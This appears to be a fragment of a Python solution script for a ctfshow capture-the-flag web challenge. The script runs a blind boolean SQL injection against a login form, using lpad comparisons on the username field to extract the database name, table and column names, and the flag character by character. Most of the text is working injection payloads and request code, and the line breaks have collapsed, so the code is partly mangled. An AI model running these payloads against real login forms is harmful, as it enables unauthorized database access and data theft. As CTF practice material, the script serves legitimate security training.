enameChar = "" flag = "" for i inrange(1,60): for mid in flagstr: payload = "admin'and ((lpad((select database()),{},'')='{}'))#".format(i,enameChar+mid) #ctfshow_web #payload = "admin'and ((lpad((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},'')='{}'))#".format(i,enameChar+mid) #ctfshow_flxg #payload = "admin'and ((lpad((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},'')='{}'))#".format(i,enameChar+mid) #id,f1ag #payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,enameChar+mid)
data = { "username":payload, "password":0, } res = requests.post(url = url,data =data) time.sleep(0.3) if res.text.find("8bef")>0: enameChar += mid flag += mid print(flag) break